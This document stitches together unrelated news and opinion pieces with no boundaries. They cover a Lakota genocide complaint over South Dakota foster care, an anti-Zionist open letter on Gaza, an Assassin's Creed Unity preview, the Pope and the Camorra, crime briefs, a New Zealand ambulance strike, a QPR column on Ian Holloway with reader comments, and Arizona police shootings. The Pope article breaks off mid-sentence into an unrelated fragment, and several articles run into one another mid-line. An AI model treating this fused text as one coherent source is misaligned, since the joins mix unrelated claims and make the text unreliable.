The tribal elders’ 12-city speaking tour culminated in an April 9 march on United Nations headquarters in New York and an April 18 press conference in Washington, D.C., where the Supreme Court had just heard arguments in a challenge to the landmark 1978 Indian Child Welfare Act (ICWA). Attracting support from Occupy Wall Street and other non-Native allies in the New York march, the Lakota Truth Tour delegation was physically blocked by UN security officers from presenting Secretary-General Ban Ki-Moon’s office a notice of charges against the U.S. under the 1948 Convention on the Prevention and Punishment of the Crime of Genocide.
An excerpt from the complaint, still being refined into its final, legal form, reads: “This letter serves notice as complaint, that the crime of genocide is being committed, in an ongoing manner, against the matriarchal Tetuwan Lakota Oyate of the Oceti Sakowin, an Indigenous First Nation people whose ancestral lands comprise a large area of the Northern Great Plains of Turtle Island, the continent known as North America.” As evidence, the Lakota cite systematic American usurpation of their land and sovereignty rights, imposition of third-world living conditions on the majority of Lakota, US assimilation policies that threaten the future of their language, culture and identity, and environmental depredations including abandoned open uranium mines and the proposed Keystone XL Pipeline slated to invade the Pine Ridge Reservation. The Lakota grandmothers and their allies in the Lakota Solidarity Project have even produced a powerful, full-length documentary, Red Cry, available on DVD or online at www.lakotagrandmothers.org/media/.
But the UN complaint is just one facet of a multi-pronged legal, political and educational movement within the indigenous Lakota (Sioux) nation to stop the state removal of Native children from their families into white foster homes and institutions, arguably the most salient and best-documented evidence of ongoing US violation of the genocide convention. Article 2 of the convention defines acts of genocide as follows:
“…any of the following acts committed with intent to destroy, in whole or in part, a national, ethnical, racial or religious group, as such:
(a) Killing members of the group;
(b) Causing serious bodily or mental harm to members of the group;
(c) Deliberately inflicting on the group conditions of life calculated to bring about its physical destruction in whole or in part;
(d) Imposing measures intended to prevent births within the group;
(e) Forcibly transferring children of the group to another group.”
Historically, one could make a case for the applicability of most, if not all, of the above provisions to official US policies over more than two centuries. Certainly the Indian Removal Act of 1830, the Wounded Knee massacre (of which the perpetrators have yet to be stripped of their Medals of Honor) and Sand Creek slaughter perpetrated by the US military in the latter part of the 19th century, the General Allotment Act of the same time period, the Termination/Relocation policy of the 1950s, the FBI’s war on the American Indian Movement, and the cumulative legal decisions validating the above on explicit or implicit grounds of racial or cultural superiority, come to mind as constituting violations of contemporary international standards of crimes against humanity, if not genocide per se.
Indeed, the ink was scarcely dry on the Genocide Convention before the US deliberately set out to violate Article 2(e) by arbitrarily removing Native children from their families as part of a comprehensive strategy of abolishing reservation boundaries and absorbing indigenous peoples into the states that surround and besiege them. In 1950 President Truman appointed Dillon S. Meyer, fresh from his experience administering the Japanese internment camps with an iron fist, as Indian Commissioner to carry out the final solution to the Indian Problem (i.e., their stubborn refusal to fade into the mists of history, itself a genocidal concept) that has haunted this nation since its inception. It was the formal policy and procedure of the United States at the time to forcibly transfer indigenous children to white homes and boarding schools as a component of a strategy to “terminate” tribes as distinct peoples, meeting the essential threshold of intent under the Genocide Convention. It would have been embarrassing to say the least if the Soviet Union or its allies would have initiated legal genocide charges against the self-avowed fount of human liberty at the United Nations. So it was that the US celebrated its victory over genocidal Nazi imperialism by rebranding the practice in Indian Country as emancipatory individualism and refusing to ratify the 1948 convention until nearly 40 years later.
Ironically, it was the Indian Child Welfare Act of 1978 that enabled the US to ratify the Genocide Convention by manifesting its intention to stop the wholesale removal of Native children from their families and tribes. ICWA established minimal protections of due-process rights for indigenous parents and recognized the exclusive jurisdiction of existing tribal courts to adjudicate child welfare cases within reservation boundaries, also allowing tribes to intervene in state cases. Ratified by the US in 1986, the Genocide Convention was not implemented until 1989, and then only after denying universal jurisdiction and limiting prosecutions under the act to a five-year statute of limitations for violations of the federal crime of genocide. As a measure of the government’s commitment to punishing the ultimate international crime, the federal offenses of arson, art theft, immigration violation and some crimes against financial institutions all carry a statute of limitations period longer than five years. Rios Montt himself would be immune from prosecution under the federal genocide act.
A remarkable 2011 National Public Radio series, Native Foster Care: Lost Children, Shattered Families, revealed that the federal government not only fails to enforce the baseline standards of ICWA against the states. but actually underwrites the removal of Native children in some cases with additional funds, adding an economic incentive to the racial and cultural ones. Focusing on South Dakota, a yearlong investigation by NPR reporters Laura Sullivan and Amy Walters found that 90% of the 700 Native children taken from their homes yearly in that state were placed in white foster homes or group homes, in blatant violation of ICWA provisions mandating that any Indian child taken into foster care be placed with a family member, tribal member, or other Native family in the absence of “good cause” to the contrary.
Far from punishing states for violations of ICWA, despite its finding that 32 states systemically violate its terms, the federal government effectively promotes the legal abduction of children by offering a $12,000 bounty to the state for permanently removing “special needs” children from their natural families to adoptive placement, a designation the state of South Dakota applies to all indigenous children, according to NPR. Foster families in South Dakota receive as much as $9,000 annually for each child. While the federal government also provides ICWA workers for each reservation, these typically serve as flunkies for the states, at most tepidly attempting to shift federal funds to tribal coffers. The NPR report quoted Crow Creek ICWA Director Dave Valandra saying, “I get along real good with the state and I have a good rapport with them.” This fraternal relationship is unhindered by the fact that none of the 13 cases Valandra is working on involve placement in Native homes, which apparently never occurred to the ICWA director before being confronted by a reporter: “”Of my cases right now, I think they’re all…right now, the placement of the children right now are…boy that’s, huh,” he said.
Perhaps the most damning revelation of the NPR report, however, is its tracing of South Dakota’s kidnapping for profit scheme to the state’s highest official:
“Critics say foster care in South Dakota has become a powerhouse for private group home providers who bring in millions of dollars in state contracts to care for kids. Among them is Children’s Home Society, the state’s largest foster care provider, which has close ties with top government officials. It used to be run by South Dakota’s Gov. Dennis Daugard. An NPR investigation has found that Daugard was on the group’s payroll while he was lieutenant governor — and while the group received tens of millions of dollars in no-bid state contracts. It’s an unusual relationship highlighting the powerful role money and politics play in South Dakota’s foster care system.”
If the federal government were to uphold its obligations under ICWA and the Genocide Convention, Gov. Daugaard would seem a fit candidate for the first indictment of a US-born citizen under the federal genocide statute. Thwarted by the five-year limitation, the US Justice Department indicted former Rwandan official Lazare Kobagaya in 2009 for allegedly lying about his participation in genocide on his application for citizenship, but the government failed to prove his involvement in the 1994 bloodbath and eventually dropped the charges. At a May 15-17 Great Plains Indian Child Welfare Act Summit, Daugaard declined to attend, despite a personal invitation from US Assistant Secretary of Indian Affairs Kevin Washburn, the top federal Indian bureaucrat. So Daugaard is not only aware, thanks to the NPR report, of the genocidal effects of policies from which he personally profited, but is unwilling to meet with the victims toward rectification of the crimes of his Department of Social Services, which include the coverup of cases of sexual assault in white foster homes and extensive pharmaceutical drugging of children without parental consent. Following the governor’s lead, no South Dakota officials attended the historic meeting, in which nine tribes and top federal officials participated, along with more than 200 aggrieved tribal members.
The tribal summit and the NPR series were spearheaded by the Lakota People’s Law Project (LPLP), which has relentlessly challenged the state legally and politically and is bringing increasing pressure on the federal government to act. Dan Sheehan, chief legal counsel for the LPLP and director of the Romero (formerly Christic) Institute, said South Dakota officials are “into a total dialectical, confrontational stance. They’re feeling like they’re under siege from the tribes, so they’re circling the wagons and getting ready to fight.” Sheehan said the South Dakota legislature recently appropriated $2.3 million to defend the state from an imminent class-action federal civil rights lawsuit.
Sheehan traced the institutionalization of state kidnapping of Native children back to the late William Janklow, a former South Dakota congressman, governor, and attorney general notorious for his role in what the the Lakota refer to as the “Reign of Terror” on the Pine Ridge Reservation in the years following the American Indian Movement-led occupation of Wounded Knee in 1973. According to Sheehan, members of the George W. Bush administration tipped off Janklow on a Texas strategy to grab millions of dollars in federal subsidies by administering a psychological test devised by the Eli Lilly pharmaceutical corporation to children taken into protective custody. Replicating the strategy, South Dakota developed a mental health test failed by 98% of Native children, who then become “special needs” cases under federal law, with the state receiving up to $79,000 for each Indian child and the child being placed involuntarily on psychoactive drugs.
“They ask questions like ‘do you feel like people are staring at you when you go out in public’ in racist Rapid City, or ‘do you feel you’re treated unfairly’ to a child who’s just been uprooted from his home and placed with strangers,” said Sheehan.
The immediate priorities of the LPLP, Sheehan says, are to effect the transfer of South Dakota child protection services to the tribes and to persuade the US Justice Department to serve as lead plaintiff in its civil rights suit against the state. The latter is currently on hold pending the Supreme Court’s decision in the atypical “Baby Veronica” case, which challenges the constitutionality of the Indian Child Welfare Act.
Sheehan says tribal officials have yet to determine whether they will support the Lakota Grandmothers’ UN genocide petition, suggesting their decision may hinge on whether the Justice Department exercises its responsibility to take up their cause domestically. And while it is exceedingly unlikely that President Obama or Chief Justice Roberts (who termed the minimal protections of ICWA placement standards “extraordinary rights” in oral arguments) will ever be called to account by an international tribunal for complicity in genocide so long as the US refuses to accept the jurisdiction of the International Criminal Court, they may wish to consider the potential damage to their personal reputations and that of their nation that even an unenforceable international verdict could bring.
Just ask Lazare Kobagaya.
Jeff Armstrong is a longtime journalist and activist in Fargo, North Dakota. He can be reached at armstrong@i29.netThe International Jewish Anti-Zionist Network (IJAN) has released an open letter signed by 327 Jewish survivors and descendants of survivors and victims of the Nazi genocide “unequivocally” condemning the “massacre of Palestinians in Gaza and the ongoing occupation and colonization of historic Palestine.”
The letter was written in response to Holocaust survivor, author and Nobel Laureate Elie Wiesel’s “manipulation of the Nazi Genocide to attempt to justify the attacks on Gaza.” The accusation that Elie Wiesel manipulates the memory of the Holocaust is an old one. In this case, it refers to his New York Times advertisement in which he claimed that “Jews rejected child sacrifice 3,500 years ago. Now it’s Hamas’ turn,” using biblical imagery by comparing Gazan parents to the Molochites (ancient Canaanites who sacrificed children to their God, Moloch).
Besides his controversial positions supporting Israel's illegal settlements in the occupied West Bank, Wiesel was chairman of the IR David Foundation, which aims to “strengthen the Jewish connection to Jerusalem” (Hebrew) and create a Jewish majority in Arab neighborhoods of East Jerusalem. He was notably accused by Jewish scholar Norman Finkelstein in his book “The Holocaust Industry” of promoting the “uniqueness doctrines” whereas all genocides besides the Jewish Holocaust are downplayed.
The letter reads:
As Jewish survivors and descendants of survivors and victims of the Nazi genocide we unequivocally condemn the massacre of Palestinians in Gaza and the ongoing occupation and colonization of historic Palestine. We further condemn the United States for providing Israel with the funding to carry out the attack, and Western states more generally for using their diplomatic muscle to protect Israel from condemnation. Genocide begins with the silence of the world. We are alarmed by the extreme, racist dehumanization of Palestinians in Israeli society, which has reached a fever-pitch. In Israel, politicians and pundits in The Times of Israel and The Jerusalem Post have called openly for genocide of Palestinians and right-wing Israelis are adopting Neo-Nazi insignia. Furthermore, we are disgusted and outraged by Elie Wiesel’s abuse of our history in these pages to justify the unjustifiable: Israel’s wholesale effort to destroy Gaza and the murder of more than 2,000 Palestinians, including many hundreds of children. Nothing can justify bombing UN shelters, homes, hospitals and universities. Nothing can justify depriving people of electricity and water. We must raise our collective voices and use our collective power to bring about an end to all forms of racism, including the ongoing genocide of Palestinian people. We call for an immediate end to the siege against and blockade of Gaza. We call for the full economic, cultural and academic boycott of Israel. “Never again” must mean NEVER AGAIN FOR ANYONE!
Take a look at the letter on the IJAN's website to see the complete list of signatories.
Andrew Stroehlein, the European media director for Human Rights Watch, tweeted the news to his nearly 17,000 followers:
IJAN also recently announced that their letter will be posted in The New York Times as a half-page ad. Lee Gargagliano of IJAN wrote on Facebook:
We did it! We are placing the letter from survivors of the Nazi genocide and descendants of survivors and victims as a half-page ad in tomorrow's (Saturday 8/23) New York Times! Please spread it far and wide to help maximize the impact and please pass it on to journalists who you think might pick up the story. Thank you to those who signed; thank you to those who contributed; thank you to everyone who will help circulate!
At the time of writing, the death toll in Gaza stood at 2,039, including 540 children and 75 families. Seventy-two percent of Palestinians killed in this offensive are civilians, according to the UN. The death toll for Israel stood at 68, including one child. The percentage of civilians killed is 5 percent, with the majority of deaths being IDF soldiers.
Follow our in-depth coverage: #Gaza: Civilian Death Toll Mounts in Israeli OffensiveAssassin’s Creed Unity looks absolutely gorgeous. Ubisoft showcased the game at last week’s E3 and it seems that the developers will be fully utilizing the power of the next gen consoles. Assassin’s Creed Unity, unlike Black Flag will not be a cross generation title and will only release on PS4, Xbox One and PC.
GamingBolt caught up with Bruno St. Andre who is the level designer of Assassin’s Creed Unity. Although at first, Bruno was not sure what the resolution and frame rate targets were, but he eventually revealed to GamingBolt that they are indeed targeting 1080p resolution and 60fps for both consoles. It will be interesting to see whether they will be able to deliver on this promise as the game only has a few months remaining before its October launch. Last year’s Assassin’s Creed Black Flag managed to reach 1080p on the PlayStation 4 via a patch and was sub 1080p on the Xbox One. So may be the latest SDK update will help matters for the Xbox One version.
We will have more coverage on Assassin’s Creed Unity in the coming days so stay tuned to GamingBolt for more news and updates.Tony Gentile / Reuters An aide places Pope Benedict XVI's cap on his head during a Mass at the shrine city of Pompeii, Italy
John Paul II set a powerful precedent for how a Roman Pontiff can take on the Italian Mob. In May 1993, after a high-profile spate of Mafia killings, the Pope denounced the Mob's "culture of death" in an emotionally charged sermon in Agrigento, Sicily, the home turf of Cosa Nostra. "I say to those responsible: Convert!" he intoned, shaking his clenched fist and index finger. "One day, the judgment of God will arrive!" Two months after the dramatic papal appeal, the Mafia bombed two historic churches in Rome.
Pope Benedict XVI was certainly aware of that confrontation as he prepared this past weekend to visit Pompeii. The southern Italian city, near the ruins of an ancient site buried by a Mount Vesuvius volcanic eruption, lies in the heart of the region controlled by the Camorra. The Naples-based organized crime syndicate has lately tightened its grip on the impoverished region, with more killing sprees and a high-profile death threat against a young writer. But unlike John Paul, Benedict said nothing at all about the Mob in his Sunday homily. Did the Pope back down in the face of one of Italy's most entrenched and destructive evils?
Many were counting on another papal mention about the Mob as violence in the region reaches new heights. Last month, a Camorra death squad unleashed a fury of submachine-gun fire, killing seven immigrants in a single attack. A week ago, reports surfaced of a pointed death threat against Naples writer Roberto Saviano, 28, whose best-selling book Gomorrah, and the movie based on it, reveal the extent of the Camorra's influence and dirty dealings. While the Pope remained silent, more than 100,000 people signed a petition this week in support of Saviano, including Mikhail Gorbachev, Desmond Tutu, Orhan Pamuk, Günter Grass, Jose Saramago and Jonathan Franzen. "It is intolerable that all this can happen in Europe, and in 2008," reads the petition. "The state must make every effort possible to protect (Saviano) and defeat the Camorra." The movie version of Saviano's book, directed by Matteo Garrone, won second prize at the Cannes film festival this year and is Italy's entry for the Best Foreign Language Oscar.
When reporters asked why the Pope had said nothing on such a burning topic in Pompeii, Vatican spokesman Reverand Ciro Benedettini said Benedict |
in Centerville. Flint Harrison committed suicide in prison. DJ Harrison is expected to be extradited to Wyoming to stand trial in 2017.
• In June, David Heisler, 30, was kidnapped from his Santa Clara home in Washington County, allegedly by the mother of his 6-year-old daughter and the woman's boyfriend. Heisler had been awarded custody of the child, which police say upset the mother. During a custody hearing, boyfriend Francis McCard said to Kelley Perry, 'I will fix this,'" according to a search warrant. Heisler's body was later found near Mount Trumbull, Arizona, along the Arizona Strip. No Arizona murder charges have been filed in the case, but McCard, Perry and Tammy Freeman face kidnapping and other criminal charges in the case.About 1000 St John ambulance workers will have their wages cut for taking a third month of strike action, First Union says.
Photo: ST JOHN NZ
Ambulance officers are entering their third month of strike action after collective agreement negotiations broke down.
As part of the strike, union members have been wearing tops that read "Healthy Ambos Save Lives" instead of their uniform.
In a written statement, St John's clinical operations director Norma Lane said ambulance officers needed to be visible to members of the public and, and other emergency services personnel, to meet health and safety requirements.
She said St John had asked striking staff to wear a high-visibility vest while attending jobs, but First Union did not support the proposal.
Ms Lane said employees who did not wear the vest would receive 10 percent less in their pay packet.
"I can assure you we have not taken this step lightly but do so out of concern for the health and safety of our staff as well as for our patients and other emergency personnel who need to be able to be easily identifiable as ambulance personnel," Ms Lane said.
The statement said employers were entitled to ''make a specified pay deduction from employees' pay for participation in a partial strike'' under the Employment Relations Act of 2000.
First Union transport and logistics secretary Jared Abbott said it was astounding St John would deduct 10 percent of the striking paramedics' pay, when the strike action cost nothing.
Mr Abbott said St John's excuse that the deductions were for health and safety reasons didn't add up, when they forced paramedics to work nine hours without a break, and sent single-crew ambulances to emergencies.HUNTSVILLE, Alabama - Police arrested two men on robbery charges Sunday after the owner of a coin operated laundry in Five Points fired several gunshots at an armed robber who was trying to rob him.
Roger Dewayne Broyles, 25, and Matthew Porter, 21, were each charged with robbery after the early-morning incident at Five Points Laundromat, 815 Wellman Ave., a police report said.
The laundry owner, a 38-year-old man whose name was not released, told police that a man with a pistol entered the business at about 6 a.m. and attempted to rob the owner. The owner pulled a gun and opened fire on the would-be robber.
The offender left in a white Lincoln, which was stopped a short time later on Memorial Parkway near Hollow Road. The laundry owner identified Broyles as the man who tried to rob him, police said. Broyles was arrested and charged with robbery, police said. Porter, who was also in the car, was also arrested and charged with robbery, police said.
The department's Robbery Task Force is investigating.
In a separate robbery, police are investigating the Saturday night armed robbery of the Shell Food Mart, 1604 U.S. 72 East, according to a north precinct report.
The store clerk told police that a man entered the store about 11 p.m., pointed a gun at him and demanded money, the report said. The clerk opened the register and the robber took an undetermined amount of money. The robber left in an unknown direction. The store clerk was not injured and the investigation is continuing.My winter with Ollie - Column
Thursday, 17th Nov 2016 21:46 by Lewis Jones
QPR fan, former LFW writer and current Sky Sports journo Lewis Jones has been Ian Holloway’s right-hand man throughout his time as the satcaster’s main Championship pundit. Here he offers his unique insight on the second coming of Ollie.
Friday December 11, 2015. One of the more surreal days in my career so far.
Not unusual from the outset: swipe my staff card on the gate at Sky Sports' Isleworth HQ to make my way to the digital media department and begin my duties for the day as a digital sports journalist within Sky Studios. But there are two things waiting for outside the building that have engulfed me with anxiety: a big tour bus; and Ian Holloway.
For this isn’t your normal day at the office. I’m about to embark on a journey of ten days straight living on a tour bus - supposedly once used by One Direction - with Holloway, his wife Kim and two drivers.
We’ve all got football heroes from our childhood and Holloway is mine. I’d ghost-written a few columns for him but this potential day-to-day interaction is on another level. The reason for this journey? Sky Sports is planning to show ten live Football League matches in 10 days in a television first, and Holloway is travelling across the country undertaking punditry duties at each game.
Unfortunately for him and his wife, my editor had this idea: “Lewis, we want you to follow this journey and bring it to life on our digital platforms.” Someone told me once, getting into sports journalism could take you to places you never dreamed you’d go.
Caravan of love
So, here we are in the present day and Holloway has jumped from the Sky Sports ship and is the new QPR manager. Those ten days on the road along with the ghost-writing and the play-off experiences with him last summer have given me memories I’ll cherish.
The Holloway-era at QPR completely and utterly defined me as a person. I was in my early teens and QPR was my life. That team he put together full of passion, skill and togetherness made me love football – I’m sure people of my era feel the same. Every weekend I played with my R’s shirt proudly under my top and pretended I was Martin Rowlands or Richard Langley, but without the footballing ability. My parents always encouraged me to carve out a career in something I enjoyed and at the time when I needed to stumble upon a career path nothing got my pulse racing like football – QPR in particular. I also enjoyed writing, so I combined the two and decided to see where it would take me.
To think that road led to working with Holloway - the man whose team kick-started my love affair - is mind-blowing.
Enough of the “This is Your Life”, I’m here to try and provide some insight into what it was like working with the returning QPR manager and spending ten days living in each other’s pockets.
There’s been a huge response to his passionate opening interview with QPR Player and his final column for Sky, which I had the pleasure of putting together. In these days of managers, players and club officials spewing out the same plastic, PR-ridden lines, his honesty is refreshing. Every word about the club is genuine. Was I surprised? Absolutely not.
I’ve heard it nearly every week for the past year when I’ve sat down to ghost-write his prediction column. I’d usually set aside about 30-45 minutes to chat to him where we’d go through a dozen EFL games. We’d always overrun. The reason? QPR.
It would end up like two fans chatting down the pub. He loved Massimo Luongo and Ben Gladwin at Swindon; he’s a fan of Michael Doughty, who now finds himself on loan at the County Ground. His assessment of the QPR squad was, on the whole, positive. He understood Jimmy Floyd Hasselbaink’s logic of trying to play the game through Tjaronn Chery but felt the Dutchman wasn’t being given good enough ball in good enough positions to hurt teams. He often said Glenn Murray, currently tearing it up for Brighton but previously with Ollie in his Palace promotion side, would be the perfect lead for Chery at ten.
He spoke highly of the improvement in Seb Polter’s game since he came to the UK, but overall wanted more men around him, and more men in the opposition penalty area. Let’s hope he puts that into practice over the coming weeks.
We’d reminisce, ponder where it’s all gone wrong over the years and then he’d predict QPR wouldn’t lose - no matter who they were playing. Even if Rangers were due to take on the Brazil team of 1970, Ollie would have gone for a 1-1. Heart over head every time.
So, if anyone thinks this early act of emotion and passionately thumping the badge is some sort of fabricated bullshit to solely get people on his side. It’s not. As he said: “He cares.”
One of my favourite memories in his company was at Hillsborough for the play-off semi-final between Sheffield Wednesday and Brighton. Ironically, it was the 10-year anniversary of QPR's memorable promotion party in Sheffield. Before we headed over to the studio, I played him the video of the scenes at full-time from that glorious day that was published on the official QPR Facebook page. He was being carried on the shoulders of the players with 7,000 R's fans signing his name. You all know it.
His reaction was pure theatre for me to witness. The bouncy, jovial character that was buzzing around the production truck just seconds earlier was reduced to a statue. His eyes were transfixed on the screen and a beaming smile stretched across his face. You could see a huge part of his life flashed before him. It was like a surge of QPR had been injected into him. It emotionally crippled him.
A proud man like him wouldn’t admit it, but the bottom lip was going.
He cared before Tony Fernandes came calling for his services and he cares now – that says a lot.
On the ten in ten trip, due to the living arrangements, I got a chance to see the Ian Holloway others don’t get to see. I would try and describe the bus, but the video below posted by Birmingham City paints the picture perfectly (check Lewis’ shirt – ed). Holloway the normal human being.
I probably got more exclusives in those 10 days, than in my entire career. Get the yellow ticker ready, here’s a few that I can legally publish..
• He loves pork-pie, pickle and cheese and onion crisps dipped in tomato ketchup as an afternoon snack. Top tip from the man himself: “It's best to slice it open and then drizzle the pickle inside.”
• He has an addiction to clothes shopping – tweed jackets in particular. A QPR branded one could be the agenda.
• He’s a routine man when it comes to his toilet habits. We didn’t have a toilet that facilitated the use for No.2’s on the bus, hence we had to put our hand up like at school so the bus could stop. “I've never been more relieved to see an Asda,” was a classic 10in10 line.
• And yes, ladies, he sleeps naked.
However, there’s only one woman in his life - Kim. I discovered Mrs Holloway has a fetish for gnomes – their house is apparently full of them. “That’s why she married me,” Ollie admitted. Those that have read Ollie’s autobiography will know that the man lives for his family. I was the “adopted son” for those ten days.
Kim is an inspirational woman. Kind-hearted, funny, easy to talk to and refreshingly unassuming. The way they have brought up their children, three of whom were born deaf, is an example to all parents that overcoming adversity is possible with the right dedication, love and teamwork. The kids are all grown up now, thriving as people, and I’m sure they’re delighted that dad is a QPR man again as they spent many years of their childhood at the club.
The role of a footballer or manager’s wife has been glamourised and sexualised by the term WAG but in reality these women are a crucial cog in a professional sportsman’s ability to perform. Kim has a big part to play in the future success of QPR. She’s the one that will deal with disgruntled husband when the current fanfare dies down and QPR inevitably lose a game. She’ll be the one that will have to pick him back up. She’s the one that has allowed her man back into the mad world of football after a unique spell with him as a normal husband. She’ll be his sounding board, his rock. If you see her, wish her luck. And if Ollie’s gets more success here, then thank her. Kim’s nod of approval for her man to return to QPR is, undoubtedly, a good thing for football and more importantly for Ollie himself.
Hats
In my opinion, we’re talking about a man whose talents are best utilised when getting the best out of other people, not being the star of the show in a TV production no matter how engaging and on point his delivery is. My favourite pieces I produced with him over the past year were when he had to put his football manager hat back on rather than merely predicting a result or analysing a game or an incident.
My first insight to this was on the first night of ‘ten in ten’. Wolves had just been held at home by Nottingham Forest and me and Ollie were walking around the pitch at Molineux to get back on the bus. We bumped into Wolves centre-half Danny Batth and three of his teammates. Ollie could see their heads were down after a disappointing result and, although he didn’t have to, he stopped for five minutes in order to encourage them to pick their chins up. I took a step back to watch him in full flow. It was fascinating as from a media perspective you don’t normally get to see this side of a manger. He spoke to them with such enthusiasm and you could tell they were engaged in every word that bellowed out into the cold Molineux air. I’d be stunned if he doesn’t have the same short-term impact on the current QPR squad.
I also rang him one day for some insight about Tom Ince – a player I was writing a feature on and someone that Ollie got the best out of at Blackpool. Again, he switched from pundit to football manager mode and I was treated to 10-15 minutes of in-depth insight on what he did to get the best out of him. “When not in possession, in position,” he’d continuously drum into Ince, who had a habit of going missing in matches. Ollie was able to get into Ince’s head like no other manager could.
Whether you’re a footballer, journalist, fan or a bin man, he has a special way of communicating with all types of people. Whether that’s through laughter, a confidence boost or just being someone who listens, Ollie has a god-given gift for making a difference – even in tragic circumstances, as I found out.
My dad died suddenly this year. I was all over the place. Ollie got wind that I was off work due to the situation and rang me to offer up his condolences. I didn’t answer as I was in no fit state to chat but the voicemail he left made such a difference in how I coped with such a life-changing incident.
He didn’t need to do that – but he did. He didn’t need to have a 30-minute chat with me after the funeral to see how I was coping and offer up his advice - but he did.
He didn’t have to give me a huge bear hug in the newsroom on one of my first days back at work – but he did.
Little things like that meant the world to me and my family from someone we respect greatly.
Putting other people first, especially in such an egotistical world we live in these days, is a fading trait – but the current manager of QPR has that skill.
They say never meet your heroes. Well, whoever wrote that tripe picked the wrong hero.
Good luck Bus Wanker, we’re all right behind you.
The Twitter @_LJones_
Pictures – Action Images
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connell10 added 22:20 - Nov 17
Great piece mate and a real insight into the man whom i love even more after reading that! U RSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSS! 0
PunteR added 22:41 - Nov 17
Absolutely brilliant. Thanks Lewis.
"it was like a surge of QPR had been injected into him."
I think he's going inject a surge of Holloway into QPR. Cant wait. 0
ingeminate added 22:52 - Nov 17
Great article.
Jesus, heard so many stories like this. Forget about how he does as manager for a minute, what a great man to be associated with our club. 2
daveB added 23:12 - Nov 17
That is fantastic, superb article 0
Hunterhoop added 23:26 - Nov 17
Love it. Great article. The bloke is a good man, as well as being good man manager. That has to count for something. I so want this to work! 0
Pommyhoop added 10:03 - Nov 18
Great read that. Good old Ollie. One of the gooduns.
0
YorkRanger added 10:29 - Nov 18
Great piece 0
Dorse added 10:48 - Nov 18
This is the sort of character that epitomises the Rs for me. Thanks for the piece - great read. 0
QPRski added 11:38 - Nov 18
Lewis, thanks for a very entertaining and enjoyable read.
It is a great personal insight into "Ollie" as a person. 0
Phil_i_P_Daddy added 12:03 - Nov 18
Great to read. I'm falling in love with Olly again. What a man. What a family. Good luck to them all. 0
TacticalR added 13:36 - Nov 18
Thanks Lewis. Sounds amazing.
It does seem incredible that Holloway is able to switch gears to deal with all these different situations, and that behind the joker is a serious football mind. 0
CroydonCaptJack added 13:56 - Nov 18
A really enjoyable read. Thanks Lewis. 0
steveB66 added 14:30 - Nov 18
Top piece of writing Lewis. A great and inspirational up-close take on OUR Ollie. 0
francisbowles added 17:58 - Nov 18
I'm so proud that this man is our manager again. This is the best decision TF has made since he has been our Chairman. 0
Roller added 20:33 - Nov 18
Excellent Lewis, many thanks. Living the dream.
There was surely never any doubt the Ollie was a pork pie man though, was there? 0Officer-involved shootings There have been more than 50 officer-involved shootings across the Valley in 2013, making it one of the most violent years for officers and suspects in the area. Search incidents here.
The Republic | azcentral.com Sat Nov 23, 2013 10:47 PM
The end was near for fugitive Travis Trisoliere as soon as he hopped in a pickup truck parked in front of an east Mesa home last spring, unwittingly joining a man who was cooperating with police.
State and local officers had been searching for Trisoliere, 33, for weeks since he reportedly pulled a gun on a bounty hunter who tracked him down to an Apache Junction trailer.
Trisoliere had squeezed the trigger as he stepped out of the closet, but the gun didn’t fire and he ran, according to police records.
By the time police caught up with him in late April, Trisoliere’s armed-and-dangerous reputation was solidified, and officers believed it when his friends and his probation officer said Trisoliere would sooner die in a shootout with police than spend a day in jail.
Trisoliere died on an Apache Junction street April 20 after police fired on him 76 times in what was the third officer-involved shooting in the Valley that day.
More than 50 officer-involved shootings have occurred in Maricopa County as of early November, according to the County Attorney’s Office, making 2013 one of the most violent for officers and suspects in the Valley.
There were 47 officer-involved shootings in all of 2012, a mark police passed this year by late September.
Nearly all the suspects police shot this year were armed — some with BB guns, some with cars and trucks that made police feel threatened, some with knives, and one with a wooden table leg.
Arizona law justifies the use of deadly force when an officer fears imminent death or serious physical injury.
To date, no criminal charges have been filed against any police officers involved in shootings in 2013, though several cases have pending reviews.
Tracking exact data on officer-involved shootings is difficult. Police agencies collect and publish data on most crimes, including when officers are the victims of assault, and the results are distributed annually through the FBI. But there is no similar clearinghouse for officer-involved shootings.
The spike in incidents this year in Maricopa County, some say, is because career criminals put behind bars during successful crime-fighting campaigns are beginning to cycle out of the prison system. Critics counter that the trend is further evidence of the militarization of police departments, which train officers to shoot first and ask questions later.
Arizona assaults are up
The number of officers assaulted on the job has steadily declined nationwide for the past five years, from more than 58,000 in 2008 to about 53,000 in 2012.
Data for Arizona tells a different story. Officers here have seen both the number of assaults and rate of assaults increase since 2008, a trend that David Gonzales, U.S. marshal for Arizona, attributes in part to a cycle of criminals who are emerging from prison.
“U.S. law enforcement did a very good job of getting career criminals off the street the last few years. But in 2012 and this year, some of those people are back on the streets,” Gonzales said. “I think a lot of that is career criminals who have nothing to lose anymore. They know they are facing long prison sentences (if caught again) so they balance the odds.”
More officers in Arizona were assaulted with a firearm in 2012 than at any point in the last five years, according to federal data, and suspects had guns in at least half of the shootings in the Valley this year, not including those armed with knives, pellet guns, machetes, Tasers and vehicles that made officers feel threatened.
The U.S. Marshals Service, which operates a violent-fugitive task force that includes officers from agencies throughout the Valley, recognized the possibility that agents could be facing lethal force more frequently after a string of shootings in 2011 left nine task-force officers around the nation dead in a matter of months.
The federal agency immediately took steps to improve equipment and revamp training so that marshals and their local partners were all operating with the same objectives, Deputy U.S. Marshal Matt Hershey said.
“It’s bringing us back in as an agency, including our task-force partners, and getting us all on the same sheet of music — focused on officer safety, making sure that our personnel have the best equipment they can have,” Hershey said. “We turned that tragedy into taking our agency to the next level.”
Officers and agents working on fugitive-apprehension teams have two key advantages not available to the typical patrol officer, Hershey said: time and information. The task forces, including the U.S. Marshals team that took down Trisoliere, can take weeks to conduct surveillance and work up detailed profiles of their targets, including whether they are armed or have committed violent acts in the past.
The information investigators developed about Trisoliere being armed and dangerous led a group of heavily armed state and federal officers to stop a white Chevy truck Trisoliere was riding in near a trailer park in Apache Junction on April 20. One Mesa police officer was standing on the side of his truck with one foot on the open door and the other planted on the truck’s frame.
“Police! Let me see your hands!” the detective shouted as he trained his AR-15 on Trisoliere in the passenger seat.
“Travis looked back at him, quickly lifted himself up, arched his back, and reached both hands down towards his waist or down out of his view towards the floor,” police reports said.
Then the detective’s foot slipped.
Fearful that Trisoliere would fire while he was out of position, the Mesa detective fired a single shot toward the truck’s back window. Seventy-five more shots were fired within the next few seconds, spraying the back of the truck with bullet holes and, at some point, killing Trisoliere.
